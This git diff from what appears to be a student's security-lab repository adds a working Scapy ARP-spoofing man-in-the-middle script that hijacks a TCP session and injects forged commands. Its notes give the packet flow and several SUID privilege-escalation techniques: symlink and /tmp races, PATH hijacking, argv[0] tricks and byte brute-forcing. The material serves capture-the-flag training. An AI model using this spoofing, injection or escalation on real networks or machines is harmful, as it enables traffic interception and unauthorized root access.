diff --git a/3.11/scapy_tcp_handshake.py b/3.11/scapy_tcp_handshake.py index 30924d8..09c4388 100644 --- a/3.11/scapy_tcp_handshake.py +++ b/3.11/scapy_tcp_handshake.py @@ -9,7 +9,7 @@ syn_pkt=l2/l3/syn_l4 ans,unans=srp(syn_pkt, iface='eth0') print(ans[0].answer[TCP]) -ack_l4=TCP(sport=31337, dport=31337, seq=31338, ack=ans[0].answer[TCP].seq + 1, flags=0x10) +ack_l4=TCP(sport=31337, dport=31337, seq=ans[0].answer[TCP].ack, ack=ans[0].answer[TCP].seq + 1, flags=0x10) ack_pkt=l2/l3/ack_l4 ans,unans=srp(ack_pkt, iface='eth0') diff --git a/3.14/3d.2/scapy_mitm_arping.py b/3.14/3d.2/scapy_mitm_arping.py new file mode 100644 index 0000000..6448d8d --- /dev/null +++ b/3.14/3d.2/scapy_mitm_arping.py @@ -0,0 +1,169 @@ +import warnings +from argparse import ArgumentParser +from scapy.layers.l2 import Ether, ARP +from scapy.layers.inet import IP, TCP +from scapy.packet import Raw +from scapy.arch import get_if_addr, get_if_hwaddr +from scapy.sendrecv import srp1, sendp, sniff + +WHO_HAS = 1 +IS_AT = 2 +MAIN_IF = "eth0" + +main_if_mac = get_if_hwaddr(MAIN_IF) +main_if_ip = get_if_addr(MAIN_IF) +broadcast_mac = "ff:ff:ff:ff:ff:ff" + +# target_1_ip = "10.0.0.3" +# target_2_ip = "10.0.0.4" +target_1_ip = "3.13.37.3" +target_2_ip = "3.13.37.4" + +target_1_mac = "" +target_2_mac = "" + +# target_port = 31337 +target_port = 1992 + +backdoored = False + +flag_mode = False + + +def get_target_macs(): + pkt_1 = Ether() / ARP() + pkt_1[Ether].src = main_if_mac + pkt_1[Ether].dst = broadcast_mac + pkt_1[ARP].op = WHO_HAS + pkt_1[ARP].hwsrc = main_if_mac + pkt_1[ARP].hwdst = broadcast_mac + pkt_1[ARP].psrc = main_if_ip + pkt_1[ARP].pdst = target_1_ip + + pkt_2 = pkt_1.copy() + pkt_2[ARP].pdst = target_2_ip + + ans_1 = srp1(pkt_1, iface=MAIN_IF) + ans_2 = srp1(pkt_2, iface=MAIN_IF) + target_1_mac = ans_1[ARP].hwsrc + target_2_mac = ans_2[ARP].hwsrc + + return (target_1_mac, target_2_mac) + + +def spoof_target(target_ip, target_mac, fake_ip): + # pretend that fake_ip is at main_if_mac + pkt = Ether() / ARP() + pkt[Ether].src = main_if_mac + pkt[Ether].dst = target_mac + pkt[ARP].op = IS_AT + pkt[ARP].hwsrc = main_if_mac + pkt[ARP].hwdst = target_mac + pkt[ARP].psrc = fake_ip + pkt[ARP].pdst = target_ip + + sendp(pkt, iface=MAIN_IF) + + +def backdoor(port, seq, ack): + global backdoored + # prerequisites + # needs target macs first + if target_1_mac == "" or target_2_mac == "": + raise Exception("get mac addresses first") + + pkt = Ether() / IP() / TCP() / Raw() + pkt[Ether].src = target_2_mac + pkt[Ether].dst = target_1_mac + pkt[IP].src = target_2_ip + pkt[IP].dst = target_1_ip + pkt[TCP].sport = port + pkt[TCP].dport = target_port # target_1 always listens on this port + pkt[TCP].seq = ack + pkt[TCP].ack = seq + len("SECRET CONFIRMED\n:>\n") + pkt[TCP].flags = "PA" + pkt[Raw].load = b"BACKDOOR\n" + # pkt.show() + sendp(pkt, iface=MAIN_IF) + + # backdoor is now open + backdoored = True + + +def get_flag(port, seq, ack): + flag_pkt = Ether() / IP() / TCP() / Raw() + flag_pkt[Ether].src = target_2_mac + flag_pkt[Ether].dst = target_1_mac + flag_pkt[IP].src = target_2_ip + flag_pkt[IP].dst = target_1_ip + flag_pkt[TCP].sport = port + flag_pkt[TCP].dport = target_port # target_1 always listens on this port + flag_pkt[TCP].seq = ack + flag_pkt[TCP].ack = seq + len("BACKDOOR OPEN\n") + flag_pkt[TCP].flags = "PA" + flag_pkt[Raw].load = b"FLAG\n" + # print("\n-----\nFlag packet:\n") + # flag_pkt[TCP].show() + # print("\n-----\n") + + sendp(flag_pkt, iface=MAIN_IF) + + +def packet_handler(pkt): + global backdoored + raw_load = pkt[Raw].load.decode("latin") + print( + str(pkt[IP].src) + ":" + str(pkt[TCP].sport), + ">", + str(pkt[IP].dst) + ":" + str(pkt[TCP].dport), + ) + if raw_load.startswith("SECRET CONFIRMED") and not backdoored: + backdoor(port=pkt[TCP].dport, seq=pkt[TCP].seq, ack=pkt[TCP].ack) + if raw_load.startswith("BACKDOOR OPEN") and backdoored: + get_flag(port=pkt[TCP].dport, seq=pkt[TCP].seq, ack=pkt[TCP].ack) + print(raw_load, end="") + # pkt[TCP].show() + + +def capture_packets(): + sniff( + prn=packet_handler, + iface=MAIN_IF, + lfilter=lambda x: x.haslayer(TCP) and x.haslayer(Raw), + ) + + +if __name__ == "__main__": + parser = ArgumentParser() + parser.add_argument( + "-l", "--list-macs", required=False, dest="list_macs", action="store_true" + ) + parser.add_argument( + "-s", "--arp-spoof", required=False, dest="arp_spoof", action="store_true" + ) + parser.add_argument( + "-c", "--capture", required=False, dest="capture", action="store_true" + ) + parser.add_argument( + "-i", "--infiltrate", required=False, dest="infiltrate", action="store_true" + ) + + args = parser.parse_args() + if args.arp_spoof and not args.list_macs: + args.list_macs = True + warnings.warn("Warning: spoofing needs MAC addresses, acquiring them first") + + if args.infiltrate: + flag_mode = True + + if args.list_macs: + target_1_mac, target_2_mac = get_target_macs() + print(target_1_ip + " is at " + target_1_mac) + print(target_2_ip + " is at " + target_2_mac) + + if args.arp_spoof: + spoof_target(target_1_ip, target_1_mac, target_2_ip) + spoof_target(target_2_ip, target_2_mac, target_1_ip) + + if args.capture: + capture_packets() diff --git a/3.14/scapy_mitm_arping.py b/3.14/scapy_mitm_arping.py index a1b8a48..c102c5b 100644 --- a/3.14/scapy_mitm_arping.py +++ b/3.14/scapy_mitm_arping.py @@ -20,7 +20,7 @@ target_2_ip = "10.0.0.4" target_1_mac = "" target_2_mac = "" -prev_load = "" +target_port = 31337 flag_mode = False @@ -60,50 +60,45 @@ def spoof_target(target_ip, target_mac, fake_ip): sendp(pkt, iface=MAIN_IF) -def handle_secret(secret, port, seq, ack): - global flag_mode - if not flag_mode: - print("Secret:", secret) - return - # masquerade as target_2 and talk to target_1 - global target_1_mac - global target_2_mac - global target_1_ip - global target_2_ip - pkt = Ether() / IP() / TCP() +def backdoor(port, seq, ack, msg): + # prerequisites + # needs target macs first + if target_1_mac == "" or target_2_mac == "": + raise Exception("get mac addresses first") + + pkt = Ether() / IP() / TCP() / Raw() pkt[Ether].src = target_2_mac pkt[Ether].dst = target_1_mac pkt[IP].src = target_2_ip pkt[IP].dst = target_1_ip pkt[TCP].sport = port - pkt[TCP].dport = 31337 # target_1 always listens on this port - pkt[TCP].seq = seq - pkt[TCP].ack = ack - pkt[TCP].flags = 0x02 # SYN (???) - pkt.show() + pkt[TCP].dport = target_port # target_1 always listens on this port + pkt[TCP].seq = ack + pkt[TCP].ack = seq + len(msg) + pkt[TCP].flags = "PA" + pkt[Raw].load = b"FLAG\n" + # pkt.show() + sendp(pkt, iface=MAIN_IF) def packet_handler(pkt): - global prev_load + raw_load = pkt[Raw].load.decode("latin") print( str(pkt[IP].src) + ":" + str(pkt[TCP].sport), ">", str(pkt[IP].dst) + ":" + str(pkt[TCP].dport), ) - raw_load = pkt[Raw].load.decode("utf-8") - secret = "" - if raw_load != prev_load: - if prev_load.startswith("SECRET"): - secret = raw_load.strip() - handle_secret( - secret, port=pkt[TCP].sport, seq=pkt[TCP].seq, ack=pkt[TCP].ack - ) - prev_load = raw_load + if raw_load.startswith("COMMANDS"): + backdoor(port=pkt[TCP].dport, seq=pkt[TCP].seq, ack=pkt[TCP].ack, msg=raw_load) print(raw_load, end="") def capture_packets(): - sniff(prn=packet_handler, iface=MAIN_IF, lfilter=lambda x: x.haslayer(Raw)) + sniff( + prn=packet_handler, + iface=MAIN_IF, + lfilter=lambda x: x.haslayer(TCP) and x.haslayer(Raw), + ) if __name__ == "__main__": diff --git a/Dojo Notes.md b/Dojo Notes.md index c3b26f7..0444a43 100644 --- a/Dojo Notes.md +++ b/Dojo Notes.md @@ -246,6 +246,7 @@ nc 10.0.0.142 31337 - we observe that a sequence repeats: - 10.0.0.3:31337 sends a command: "SECRET", to 10.0.0.4 at a random port - note: how does 3 know which port to send to? + - [after 3d] idiot, 4 opens the tcp handshake - 4 responds with a secret, it's in ascii? - 3 sends a list of available (?) commands - echo, flag, and then asks for a command - 4 responds with echo, and sends "Hello, World!" @@ -253,5 +254,105 @@ nc 10.0.0.142 31337 - connection closes, repeats with another randomized port for 4 - note that 3 sends a secret and a list of commands that includes a flag command - craft a packet masquerading as 4, with the flag command, wait for a secret to arrive and put it in the packet + - [after 3d] idiot, read the code, you don't need the secret, just hijack the connection - in the time it takes 3 to do the legitimate echo from 4, we could probably send the flag command to 3 and have it processed in the same ephemeral connection - let's try + +### lab 3c was chill, no notes + +### lab 3d + +#### .2 - mitm arping + +- same as 3.14, approaching this first for deadline +- client at 3.13.37.4, random port +- server at 3.13.37.3, port 1992 +- flow: + - TCP handshake: + - client -> SYN -> server + - server -> SYNACK -> client + - client -> ACK -> server + - secret is sent: + - server -> PUSHACK -> asks for secret -> client + - client -> ACK, then PUSHACK -> secret string \n-> client + - server -> ACK, then PUSHACK -> secret confirmed -> client + - at this point, inject BACKDOOR packet before the actual client + - client -> ACK, then PUSHACK -> ECHO: -> server + - after backdoor, send a FLAG packet + +### going back to continue 3.14 with this understanding + +--- + +- [after 3d] updated understanding + - client at 10.0.0.4, random port + - server at 10.0.0.3, port 31337 + - flow: + - TCP handshake: + - client -> SYN -> server + - server -> SYNACK -> client + - client -> ACK -> server + - secret is sent: + - server -> PUSHACK -> asks for secret -> client + - client -> ACK, then PUSHACK -> secret string \n-> client + - server -> ACK, then PUSHACK -> list of commands -> client + - at this point, inject FLAG command before the actual client + - client -> ACK, then PUSHACK -> ECHO -> server + +## Project 04 Hijacking Binary Power (Pwning) + +- seems we have access to the source code, and we're given a suid-set executable + +### .02 - exec them all + +- title helped +- `exec -a /challenge/run` + +### .03 - altering arg[0] + +- +3 lops off first 3 chars + +### .04 - symmer + +- symlink /flag to ~/flag + +### .05 - when is a secret not secret + +### .10 - somewhere over the rainbow + +- online tool + +### .11 - byte compare + +- this strncmp takes the lower length (doesn't take null tho), so just give it a single byte +- only 256 possible values, bruteforce + +```bash +for i in $(seq 0 255); do + i_chr=$(printf "\x$(printf "%x" "$i")") + /challenge/run $i_chr +done +``` + +### .12 - symmer in time + +- 5 second window +- initially have a dummy `~/flag`, run the challenge, within 5 seconds delete it and create it as a symlink to `/flag` + +### .13 - time after time + +- 2 second window +- creates tmp files, writes target to one, sleeps for 2 secs, then reads from it and compares with passwd checksum +- have `umask 002 ; echo > /tmp/hash_output_1000_` in one shell ready for tab completion of the random number part +- run `/challenge/run something` in another shell, then run the above + +### .14 - controlling your path + +- make sure PATH is set so that it uses your program +- don't specify a shell so that it uses `/bin/sh` - [see here](https://www.qnx.com/developers/docs/6.5.0SP1.update/com.qnx.doc.neutrino_lib_ref/e/execlp.html#:~:text=If%20the%20process%20image%20file) + > "If the process image file isn't a valid executable object, the contents of the file are passed as standard input to a command interpreter conforming to the system() function. In this case, the command interpreter becomes the new process image." +- i assume the command interpreter that gets used has the SUID bit + +### .15 - blind leading the blind + +- basically, stdout and stderr for the child are set to `/dev/null` so instead of spawning root shell, use `cat flag > output` and read output